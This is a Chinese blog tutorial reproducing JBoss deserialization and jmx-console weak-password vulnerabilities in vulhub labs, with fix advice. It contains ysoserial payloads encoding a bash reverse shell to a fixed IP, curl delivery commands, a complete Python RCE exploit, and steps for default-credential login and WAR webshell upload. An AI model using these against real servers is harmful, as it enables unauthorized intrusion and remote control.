Jboss漏洞复现(全漏洞版本)

0x01:CVE-2015-7501(JBoss JMXInvokerServlet 反序列化漏洞)

1.漏洞描述&搭建

这是经典的JBoss反序列化漏洞,JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。

延伸:/invoker/EJBInvokerServlet路径存在和这个一样的反序列化漏洞

环境搭建:

github下载vulhub项目,乌班图 mac,linux均可以搭建,下载对应的docker版本即可,切换到jboss目录下的JMXInvokerServlet-deserialization运行:

docker-compose up -d

2.漏洞复现

受影响版本:

Red Hat JBoss A-MQ 6.x版本;

BPM Suite (BPMS) 6.x版本;

BRMS 6.x版本和5.x版本;

Data Grid (JDG) 6.x版本;

Data Virtualization (JDV) 6.x版本和5.x版本;

Enterprise Application Platform 6.x版本,5.x版本和4.3.x版本;

Fuse 6.x版本;

Fuse Service Works (FSW) 6.x版本;

Operations Network (JBoss ON) 3.x版本;

Portal 6.x版本;

SOA Platform (SOA-P) 5.x版本;

Web Server (JWS) 3.x版本;

Red Hat OpenShift/xPAAS 3.x版本;

Red Hat Subscription Asset Manager 1.3版本

JBoss在处理/invoker/JMXInvokerServlet请求的时候读取了对象,所以我们直接将ysoserial生成好的POC附在POST Body中发送即可。整个过程和 CVE-2017-12149很像。

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 "bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTAuMjExLjU1LjUvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}" > hula.ser
curl http://目标机ip:8080/invoker/JMXInvokerServlet --data-binary @fanshell2.ser --output 1

成功反弹shell:

漏洞Exp:

#! /usr/bin/env python2

# Jboss Java Deserialization RCE (CVE-2015-7501)
# Made with <3 by @byt3bl33d3r

from __future__ import print_function
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

import argparse
import sys, os
#from binascii import hexlify, unhexlify
from subprocess import check_output

ysoserial_default_paths = ['./ysoserial.jar', '../ysoserial.jar']
ysoserial_path = None

parser = argparse.ArgumentParser()
parser.add_argument('target', type=str, help='Target IP')
parser.add_argument('command', type=str, help='Command to run on target')
parser.add_argument('--proto', choices={'http', 'https'}, default='http', help='Send exploit over http or https (default: http)')
parser.add_argument('--ysoserial-path', metavar='PATH', type=str, help='Path to ysoserial JAR (default: tries current and previous directory)')

if len(sys.argv) < 2:
    parser.print_help()
    sys.exit(1)

args = parser.parse_args()

if not args.ysoserial_path:
    for path in ysoserial_default_paths:
        if os.path.exists(path):
            ysoserial_path = path
else:
    if os.path.exists(args.ysoserial_path):
        ysoserial_path = args.ysoserial_path

if ysoserial_path is None:
    print('[-] Could not find ysoserial JAR file')
    sys.exit(1)

if len(args.target.split(":")) != 2:
    print('[-] Target must be in format IP:PORT')
    sys.exit(1)

if not args.command:
    print('[-] You must specify a command to run')
    sys.exit(1)

ip, port = args.target.split(':')

print('[*] Target IP: {}'.format(ip))
print('[*] Target PORT: {}'.format(port))

gadget = check_output(['java', '-jar', ysoserial_path, 'CommonsCollections1', args.command])

r = requests.post('{}://{}:{}/invoker/JMXInvokerServlet'.format(args.proto, ip, port), verify=False, data=gadget)

if r.status_code == 200:
    print('[+] Command executed successfully')

3.修复建议

1.目前厂商暂未发布修复措施解决此安全问题,建议使用此软件的用户随时关注厂商主页或参考网址以获取解决办法:

Red Hat - We make open source technologies for the enterprise

2.不需要 http-invoker.sar 组件的用户可直接删除此组件。

路径为:jboss-6.1.0.Final\server\default\deploy\http-invoker.sar,删除后访问404

3.添加访问控制代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中,对 http invoker 组件进行访问控制

0x02:CVE-2017-7504(JBoss 4.x JBossMQ JMS 反序列化漏洞)

1.漏洞描述&搭建

JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。

漏洞搭建:

使用vulhub切换到jboos的cve-2017-7504目录下启动终端运行以下命令:

docker-compose up -d

出现下述页面搭建成功:

2.漏洞复现

受影响版本:

实验版本jboss:as-4.0.5,对版本低于4.x的有影响,即:JBoss AS 4.x及之前版本

JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10
JBoss AS (Wildly) 6 and earlier
JBoss A-MQ 6.2.0
JBoss Fuse 6.2.0
JBoss SOA Platform (SOA-P) 5.3.1
JBoss Data Grid (JDG) 6.5.0
JBoss BRMS (BRMS) 6.1.0
JBoss BPMS (BPMS) 6.1.0
JBoss Data Virtualization (JDV) 6.1.0
JBoss Fuse Service Works (FSW) 6.0.0
JBoss Enterprise Web Server (EWS) 2.1,3.0

该漏洞出现在/jbossmq-httpil/HTTPServerILServlet请求中,我们借助ysoserial的e、CommonsCollections5利用链来复现。生成Payload:

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 "touch /tmp/success" > 1.ser

curl http://your-ip:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @1.ser --output 1

最后发现成功执行:

反弹Shell:

只需要修改上上边的写入命令为;

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 "bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTAuMjExLjU1LjUvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}" > fanshell.ser

成功反弹shell:

3.修复建议

1、升级jboss为高版本

2、删除**/jbossmq-httpil/HTTPServerILServlet**接口

0x03:CVE-2017-12149(JBoss 5.x6.x 反序列化漏洞)

1.漏洞描述&环境搭建

该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。

搭建:同上

2.漏洞复现

受影响版本:JBoss 5.x/6.x

该漏洞出现在/invoker/readonly请求中,服务器将用户提交的POST内容进行了Java反序列化:

所以,我们用常规Java反序列化漏洞测试方法来复现该漏洞。

我们使用bash来反弹shell,但由于Runtime.getRuntime().exec()中不能使用管道符等bash需要的方法,我们需要用进行一次编码。(同上,路径不同,将文件以POST Body发送至/invoker/readonly即可:)

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 "bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTAuMjExLjU1LjUvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}" > fanshell2.ser
curl http://目标机ip:8080/invoker/readonly --data-binary @fanshell2.ser --output 1

3.修复建议

通过向http-invoker.sar的web.xml文件中的安全约束添加url-pattern>来保护对整个 http-invoker上下文的访问,不想使用http-invoker.sar可以将其删除。

方法一:修改web.xml文件

方法二:不需要http-invoker.sar组件的直接删除

方法三:升级jboss到jboss7x版本

0x04:Jboss 4.x版本jmx-console控制台弱口令getshell

1.漏洞描述&环境搭建

Jboss4.x版本在jmx-console控制台下存在像tomcat后台一样的控制台,我们可以通过上传war包的形式来上传马达到getshell。

环境搭建:使用上边第二个环境即可

2.漏洞复现

直接访问:http://192.168.18.181:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.deployment%3Atype%3DDeploymentScanner%2Cflavor%3DURL

这里可以直接爆破,也可以试试常用的默认密码,jboos-jboss admin-admin成功登录:

找到部署的jboos.deployment并且点击进去:

找到这个位置,把我们远程整理好的war包木马放进去(这里可以使用python开启服务或者使用):

生成war木马的方式有多种,这里介绍几种:

1).使用java生成:准备好我们的马,运行

java cvf autoFunc.war shell.jsp

2)使用压缩文件,把马放进去以后更改后缀

3)使用冰蝎类的直接生成war包

不知道是否上传成功,回到我们原来的地址:

http://192.168.18.181:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.deployment%3Atype%3DDeploymentScanner%2Cflavor%3DURL

点击apply change,然后等待的时间是有点长的,我当时是等了20分钟左右。在jmx-console目录下的deployment中的war包中如果能看到才能证明是上传成功,Webshell的地址是war包的名字+生成war包webshell的名字(tomcat也是这样,看我们目录也会明白)

然后使用冰蝎连接成功getshell:

3.修复建议

升级高版本的Jboss,或者改为强密码

jboss控制台用户密码(jmx-console)的路径
/jboss/jboss4/server/default/deploy/management/console-mgr.sar/web-console.war/WEB-INF/classes#

/opt/jboss/jboss4/server/default/conf/props/jmx-console-users.properties


posted @ 2023-06-27 21:30  Arrest  阅读(1715)  评论(0编辑  收藏  举报